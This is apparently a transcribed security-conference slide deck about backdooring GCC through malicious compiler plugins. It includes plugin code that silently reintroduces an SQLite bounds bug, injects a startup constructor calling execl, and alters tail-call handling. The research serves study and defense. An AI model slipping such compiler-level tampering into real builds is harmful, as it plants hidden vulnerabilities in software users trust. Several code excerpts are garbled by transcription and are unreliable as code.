Compiler Bugs and Bug Compilers
Disclaimer

The opinions and positions expressed herein are mine only and do not represent the views of any current or previous employer, including Intel Corporation or its affiliates.

This presentation has no intention to advertise or devalue any current or future technology.

No database software was harmed in the making of this presentation.
Hello, it's me!

Marion Marschalek
Security Researcher with Intel STORM Team
@pinkflawd | marion@0x1338.at
Reflections on Trusting Trust

To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software.

KEN THOMPSON
It is **really hard** to do something useful inside of a modern day compiler.
Every explanation anyone has ever done on GCC things starts with this graphic. I mean, almost?
GCC’s Compiler Passes

The lowering passes

*warn_unused_result
*diagnose_omp_blocks
mudflap1
omplower
lower
ehopt
eh
cfg
*warn_function_return
*build_cgraph_edges

The "small IPA" passes

*free_lang_data
visibility
early_local_cleanups
*free_cfg_annotations
*init_datastructures
ompexp
*referenced_vars
ssa
veclower
*early_warn_uninitialized
*rebuild_cgraph_edges
inline_param
einline
early_optimizations
*remove_cgraph_callee_edges
copyrename
ccp
forward

GCC’s compilation process is organized in passes

Neat explanatory graphic by David Malcolm

GENERIC vs. GIMPLE vs. SSA vs. RTL vs. machine definition vs. ASM

The Debug Output

... looks a bit like a “Matrix” screensaver when you scroll down fast

-fdump-passes
-fdump-tree-all, -fdump-ipa-all, -fdump-rtl-all
-fdump-tree-cfg-all
-fdump-rtl-MYAWESOMEPASS
GCC Plugins

Since GCC 4.5 we can plug passes into the compilation process!
Benefits of plugins vs. modifying GCC itself?

- Plugins are shared objects, loaded by GCC as dedicated passes
- Maintained by pass manager
- Dependent on compiler version
- GCC plugin API defined in tree-pass.h
- GENERIC, Gimple, RTL

https://lwn.net/Articles/457543/
People think assembly is complicated

 [...] 
 (insn 5 2 6 2
  (set (reg:DI 5 di)
   (sym_ref/f:DI ("*.LC0") [flags 0x2] <var_decl 0x7fd4f1a1ecf0 *.LC0>))
  "helloworld.c":4 -1
 (nil))

(call_insn 6 5 7 2 (set (reg:SI 0 ax)
   (call (mem:QI (sym_ref:DI ('puts') [flags 0x41]
     <function_decl 0x7fd4f1974600 __builtin_puts>) [0 __builtin_puts S1 A8])
     (const_int 0 [0])))) "helloworld.c":4 -1
 (nil)
 (expr_list:DI (use (reg:DI 5 di)))
 (nil)))
 [...]
Prior research makes life a LOT easier

Emese Revfy [https://github.com/ephox-gcc-plugins](https://github.com/ephox-gcc-plugins)

Matt Davis [https://github.com/enferex/](https://github.com/enferex/)

PaX team: RAP and more [https://github.com/rrbranco/grsecurity-pax-history/tree/master/pax](https://github.com/rrbranco/grsecurity-pax-history/tree/master/pax)
  - H2HC 2012: [https://pax.grsecurity.net/docs/PaXTeam-H2HC12-PaX-kernel-self-protection.pdf](https://pax.grsecurity.net/docs/PaXTeam-H2HC12-PaX-kernel-self-protection.pdf)
    - PaX Untold Story (which includes the explanation of the first plugins)
  - H2HC 2013: [https://pax.grsecurity.net/docs/PaXTeam-H2HC13-PaX-gcc-plugins.pdf](https://pax.grsecurity.net/docs/PaXTeam-H2HC13-PaX-gcc-plugins.pdf)
    - PaX GCC Plugins
  - H2HC 2015: [https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP-ROP.pdf](https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP-ROP.pdf)
    - RAP RIP ROP

KGuard [https://github.com/pmoust/kguard](https://github.com/pmoust/kguard)

Roger Ferrer Ibanez [https://github.com/rofirrim/gcc-plugins](https://github.com/rofirrim/gcc-plugins)
printf("Hello world!\n");
// Iterating through basic blocks and Gimple sequences
FOR_EACH_BB_FN(bb, cfun) {
    for ( gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi) ) {
        gimple * statement = gsi_stmt(gsi);

        // Picking up on the printf within our helloworld.c
        if ( gimple_code(statement) == GIMPLE_CALL ) {

            // Getting the first argument of printf
            tree arg = gimple_call_arg(statement, 0);

            // Building the new string argument
            tree satan = build_string(strlen("Hail Satan!!\n") + 1, "Hail Satan!!\n");
            tree type = build_array_type(
                build_type_variant(char_type_node, 1, 0),
                build_index_type(size_int(strlen("Hail Satan!!\n")))
            );
            TREE_TYPE(satan) = type;
            TREE_CONSTANT(satan) = 1;
            TREE_READONLY(satan) = 1;
            TREE_STATIC(satan) = 1;

            // Replacing the helloworld string argument
            TREE_OPERAND(TREE_OPERAND((arg), 0), 0) = satan;
            gimple_call_set_arg(statement, 0, arg);
        }
    }
}
The obvious stuff

Attacker's would:
- change a buffer size
- remove a sanity check
- remove a whole patch
- remove authentication checks
- add or remove entire chunks of logic

Defender's would:
- review binaries
- diff
- fuzz
- guard their build environments like grandma's jewelry
- review their build scripts
- SQLite fixed a bug last year that was reported by P0’ Natashenka
- Reading a database journal that misses ‘-’ in its filename could have resulted in a negative size argument passed to memcpy
- Let’s see if one can unfix that…

Unpatching a bug
>>> bt
#0 0x00007fff7f16c49 in findCreateFileMode () from /lib/x86_64-linux-gnu/libc.so.6
#1 0x00007fff7f16f0b in unixOpen () from /home/username
#2 0x00007fff7f0af73 in sqlite3OsOpen () from /home/username
#3 0x00007fff7f1f1e0 in sqlite3PagerOpen () from /home/username
#4 0x00007fff7f2922c in sqlite3BtreeOpen () from /home/username
#5 0x00007fff7faa63a in openDatabase () from /home/username
#6 0x00007fff7faa8a0 in sqlite3_open () from /home/username
#7 0x00005555555555206 in main ()
if ( zFilename && zFilename[0] )
{
    const char *z;
    nPathname = pVfs->mxPathname+1;
    zPathname = sqlite3MallocRaw(0, nPathname*2);
    if ( zPathname==0 )
    {
        return SQLITE_NOMEM_BKPT;
    }

    zPathname[0] = 0; /* Make sure initialized even if FullPathname() fails */
    rc = sqlite3OsFullPathname(pVfs, zFilename, nPathname, zPathname);
    nPathname = sqlite3Strlen30(zPathname);
    z = zUri = &zFilename[sqlite3Strlen30(zFilename)+1];
    while( *z ){
        z += sqlite3Strlen30(z)+1;
        z += sqlite3Strlen30(z)+1;
    }

    nUri = (int)(&z[1] - zUri);
    assert( nUri>=0 );

    if( rc==SQLITE_OK && nPathname+3>pVfs->mxPathname ){
        /* This branch is taken when the journal path required by 
         * the database being opened will be more than pVfs->mxPathname 
         * bytes in length. This means the database cannot be opened, 
         * as it will not be possible to open the journal file or even 
         * check for a hot-journal before reading. */
        rc = SQLITE_CANTOPEN_BKPT;
    }

    if( rc!=SQLITE_OK ){
        sqlite3Free(0, zPathname);
        return rc;
    }
}
if (gimple_code(statement) == GIMPLE_COND && var_maxlen) {
    if (gimple_cond_rhs(statement) == var_maxlen) {
        gimple_cond_make_false((gcond*)statement);
    }
}

if (gimple_code(statement) == GIMPLE_CALL) {
    tree fndecl = gimple_call_fn(statement);
    if (fndecl != NULL) {
        if (TREE_CODE(fndecl) == ADDR_EXPR) {
            fndecl = TREE_OPERAND(fndecl, 0);
            if (strcmp(get_name(fndecl), "sqlite3OsFullPathname") == 0) {
                myassign = (gimple*)gimple_build_assign(
                    gimple_call_arg(statement, 3),
                    gimple_call_arg(statement, 1));
                gsi_insert_before(&gsi, myassign, GSISAME_STMT);
                gsi_remove(&gsi, true);
            }
        }
    }
}

if (zFilename && zFilename[0]) {
    const char *z;
    nPathname = pVfs->mxPathname + 1;
    z = get_filename_from_pathname(zFilename, nPathname, zPathname);
    if (strlen30(zFilename) + 1] > pVfs->mxPathname ) {
        ** bytes in length. This means the database cannot be opened,**
        ** as it will not be possible to open the journal file or ever**
        ** check for a hot-journal before reading.**
Assembly

Mov %eax, -0x4(%rbp)
Mov -0x4(%rbp), %eax

Mov %eax, 0
Retq

Expressions

Mov 0, %eax
Retq

Memory

x 0000000000000000
Mov 0, %eax
Retq

Source

Mov 0, %eax
Retq

Stack

Mov 0, %eax
Retq

[0] from 0x00007fff7f16da6 in findCreateFileMode+353
(no arguments)

[1] from 0x00007fff7f07a8a in frame_dummy+287754
(no arguments)

Threads

Mov 0, %eax
Retq

Dump of assembler code for function pop functlet:

0x7f7f7f07a8: push %rdi
0x7f7f7f07a8: lea 0xa45e8(%rip),%rdi # 0x7f7f7fac020
0x7f7f7f07a8: xor %rdx,%rdx
0x7f7f7f07a9: xor %eax,%eax
0x7f7f7f07a9: callq 0x7f7f7f07b0 <execl@plt>
0x7f7f7f07a9: pop %rdi
0x7f7f7f07a9: retn
DO’S & DON'T’S

- Craft wisely
- Test properly
- Refrain from making assumptions
- Consider target
- Consider compiler version and optimization
ELF things
<table>
<thead>
<tr>
<th>Section</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>.got.plt</td>
<td>Hash table for symbols. See <a href="https://www.cs.stevens.edu/~jschauma/631/elf.html">here</a> for its structure and the hash algorithm.</td>
</tr>
<tr>
<td>.hash</td>
<td>The link editor ld calls <code>bfd_elf_hash</code> in GNU Binutil's source file <code>bfd/elf.c</code> to compute the hash.</td>
</tr>
<tr>
<td>.init</td>
<td>Code which will be executed when program initializes. See paragraphs below.</td>
</tr>
<tr>
<td>.init_array</td>
<td>Pointers to functions which will be executed when program starts. See paragraphs below.</td>
</tr>
<tr>
<td>.interp</td>
<td>For dynamic binaries, this holds the full pathname of runtime linker ld.so.</td>
</tr>
<tr>
<td>.jcr</td>
<td>Java class registration information.</td>
</tr>
<tr>
<td>.note.ABI-tag</td>
<td>This Linux-specific section is structured as a <code>note</code> section in ELF specification. Its content is mandatory.</td>
</tr>
<tr>
<td>.note.gnu.build-id</td>
<td>A unique build ID. See <a href="https://www.cs.stevens.edu/~jschauma/631/elf.html">here</a> and <a href="https://www.cs.stevens.edu/~jschauma/631/elf.html">here</a></td>
</tr>
<tr>
<td>.note.GNU-stack</td>
<td>See <a href="https://www.cs.stevens.edu/~jschauma/631/elf.html">here</a></td>
</tr>
<tr>
<td>.nvFatBinSegment</td>
<td>This segment contains information of nVidia's CUDA fat binary container. Its format is described by GCC's source tree.</td>
</tr>
<tr>
<td>.plt</td>
<td>For dynamic binaries, this Procedure Linkage Table holds the trampoline/linkage code. See paragraphs below.</td>
</tr>
<tr>
<td>.preinit_array</td>
<td>Similar to <code>.init_array</code> section. See paragraphs below.</td>
</tr>
</tbody>
</table>

Runtime/Dynamic relocation table.
static void output_pop_funclet (void) {

  rtx leaops[2];
  rtx myrdi[1];

  switch_to_section (readonly_data_section);

  ASM_OUTPUT_LABEL (asm_out_file, "app");
  fprintf (asm_out_file, "\t.string\t"/usr/games/xmabacus"
"\n");

  switch_to_section (text_section);

  ASM_OUTPUT_LABEL (asm_out_file, "pop_funclet");

  myrdi[0] = gen_rtx_REG (DImode, DI_REG);
  output_asm_insn ("push\t%0", myrdi);

  leaops[0] = myrdi[0];
  leaops[1] = gen_rtx_SYMBOL_REF (Pmode, "app");
  output_asm_insn ("lea\t\%E1, \%0\%0, \%E1", leaops);

  fprintf (asm_out_file, "\txor\t\%rdx, \%rdx\n\txor\t\%eax, \%eax\n"");
  fprintf (asm_out_file, "\tcall\t\texec1\n"");

  output_asm_insn ("pop\t%0", myrdi);
  fprintf (asm_out_file, "\ttret\n");

  switch_to_section (current_function_section());
}

default_elf_init_array_asm_out_constructor (gen_rtx_SYMBOL_REF (Pmode, "pop_funclet"), DEFAULT_INIT_PRIORITY);
printf, yes really!

```
.section .rodata
.app:
.string "/usr/games/xmabacus"
.text
pop_funclet:
push   %rdi
lea    app(%rip), %rdi
xor    %rdx, %rdx
xor    %eax, %eax
call   execl
pop    %rdi
ret
.section .init_array,"aw"
.align 8
.quad  pop_funclet
```

```
strace -f gcc foo.c -o foo |& grep execve
  ⇒ cc1  compiles C to ASM, others: cc1plus, jc1, f951,...
  ⇒ as   assembles ASM to bytecode
  ⇒ collect2  wrapper for ld and prep work
  ⇒ ld    the GNU linker
```
PIC me a flower & Its GOT to PLT purrfect

Where will “call execl” go?

call func@PLT
...
...

PLT[0]:
call resolver
...
PLT[n]:
PLT[0]:
jmp *GOT[n]
prepare resolver
jmp PLT[0]

... GOT[n]:
<addr>

So I got this needle, someone pls gimme a haystack!

Reverse engineering a GCC compiler plugin?
Modifying and recompiling GCC?
Binary code review?
Reproducible builds?
The less obvious stuff
(Tail)Call me, maybe!

- Tail-call optimization or tail-call merging or tail-call elimination
- In a nutshell: Reusing stack frames (i.e. arguments) to eliminate calls
- In GCC speak: a /j flag

```
(call_insn/j:T 19 40 20 4 (set (reg:SI 0 ax)
     (call (mem:QI (symbol_ref:DI ("puts") [flags 0x41] <function_decl 0x7ffffb32f00 __builtin_puts>) [0 __builtin_puts S1 A8])
       (const_int 0 [0]))) "main.c":13 704 {*sibcall_value}
(expr_list:REG_DEAD (reg:DI 5 di)
 (expr_list:REG_UNUSED (reg:SI 0 ax)
  (expr_list:REG_CALL_DECL (symbol_ref:DI ("puts") [flags 0x41] <function_decl 0x7ffffb32f00 __builtin_puts>)
   (nil))))
(expr_list:DI (use (reg:DI 5 di))
 (nil)))
```
What is it with those calls though?
```c
#include <stdio.h>
#include <stdlib.h>

void run(int logLevel) {
    int a, b;
    a = rand();
    b = rand();
    printf("Basic logging for massive numerical operation %d %d\n", a, b);
    if (logLevel > 0) {
        printf("More super useful logging\n");
    }
}
```
Lets optimize this..

The stack is the enemy!
The register allocator isn’t your friend either,
.. and the linker messes with you too

```c
rtx_insn *insn;

// .. imagine parsing code here ..

if (SIBLING_CALL_P(insn)) {
    SIBLING_CALL_P(insn) = 0;
}
```
Again, no actual database software was harmed in the making of this presentation.

```c
/*
** Open a new database handle.
*/

SQLite_API int sqlite3_open(
  const char *zFilename,
  sqlite3 **ppDb
)
{
  return openDatabase(zFilename, ppDb,
                      SQLITEDB_OPEN_READWRITE | SQLITEDB_OPEN_CREATE, 0);
}
```
TCO tries to fool the openDatabase routine into returning to the callers’ caller.

By removing the /j flag said fooling fails, and we sneak in an extra return.
Builtins & Intrinsics

• GCC provides a large number of built-in functions, for internal use, and for optimization purposes of standard C library functions
  • __builtin_puts, __builtin_alloca, __builtin_memcpy, etc. etc. etc.

• GCC intrinsics are built-in functions that help the developer use domain specific operations, and help the compiler leverage machine specific functionality
  • Vector operations, signal processing, interrupt handling, etc. etc. etc.

What could be optimized here?
Magic?

```
#include <stdio.h>
#include <string.h>

void optimizeMe(void) {
    char *buf1 = "abcdefg";
    char *buf2 = "hijklmn";
    memcpy(buf1, buf2, strlen(buf1));
}
```
How does that work?

`builtins.def`
`builtins.h`
`builtins.c`
`xxx-builtin.def`
`xxxintrin.h`

.. and many many more..

```c
static rtx
expand_builtin_mempcpy (tree exp, rtx target)
{
    if (!validate_arglist (exp,
                          POINTERS_TYPE, POINTERS_TYPE, INTEGER_TYPE, VOID_TYPE))
        return NULL_RTX;

    tree dest = CALL_EXPR_ARG (exp, 0);
    tree src = CALL_EXPR_ARG (exp, 1);
    tree len = CALL_EXPR_ARG (exp, 2);

    /* Avoid expanding mempcpy into memcpy when the call is determined
to overflow the buffer. This also prevents the same overflow
from being diagnosed again when expanding memcpy. */
    if (!check_memop_sizes (exp, dest, src, len))
        return NULL_RTX;

    return expand_builtin_mempcpy_args (dest, src, len,
                                          target, exp, /*endp=*/ 1);
}
```
Lazy Optimization Watching

- Like bird watching, with grep

O0

-03
Look ma, I made memcpy faster!

```asm
lea rsi,[rip+0xf66]    # 2008 <_IO_stdin_used+0x66>
lea rdi,[rip+0xfc7]    # 2070 <_IO_stdin_used+0xc7>
mov QWORD PTR [rax-0xfff4],0x1

movaps XMMWORD PTR [rax],xmm0
movdqa xmm0,XMMWORD PTR [rip+0xff1]  # 20b0 <_IO_start>  
mov QWORD PTR [rax-0xfec],0x0

movaps XMMWORD PTR [rax+0x10],xmm0
movdqa xmm0,XMMWORD PTR [rip+0xfea]     # 20c0 <_IO_start>

movaps XMMWORD PTR [rax+0x20],xmm0
movdqa xmm0,XMMWORD PTR [rip+0xfee]     # 20d0 <_IO_start>

movaps XMMWORD PTR [rax+0x30],xmm0
movdqa xmm0,XMMWORD PTR [rip+0xfff2]    # 20e0 <_IO_start>

movaps XMMWORD PTR [rax+0x40],xmm0
movdqa xmm0,XMMWORD PTR [rip+0xfff6]    # 20f0 <_IO_start>

movaps XMMWORD PTR [rax+0x50],xmm0
xor eax,eax
call 1040 <printf@plt>
mov eax,DWORD PTR [rip+0x2f41]  # 404c <AUTH>
test eax,eax
je 112d <main+0xad>
xor edx,edx

lea rsi,[rip+0xf6e]    # 2086 <_IO_stdin_used+0x6e>
lea rdi,[rip+0xf5c]    # 207b <_IO_stdin_used+0xc>
xor eax,eax

```
Hijacking Fu

GCC’s location_t
Optimizers and linker to be taken into consideration
Real intrusion must be VERY well designed

How to follow intrinsic expansion?

• 2 passes:
  • early “spy” pass locating copy operation indicated by certain size value and picking config out of the data
  • “execution” pass adding extra insn with config as address or relative offset to writeable section
  • patch all the things yeehahhh, just almost
What to **do** about this?
Any... QUESTIONS?!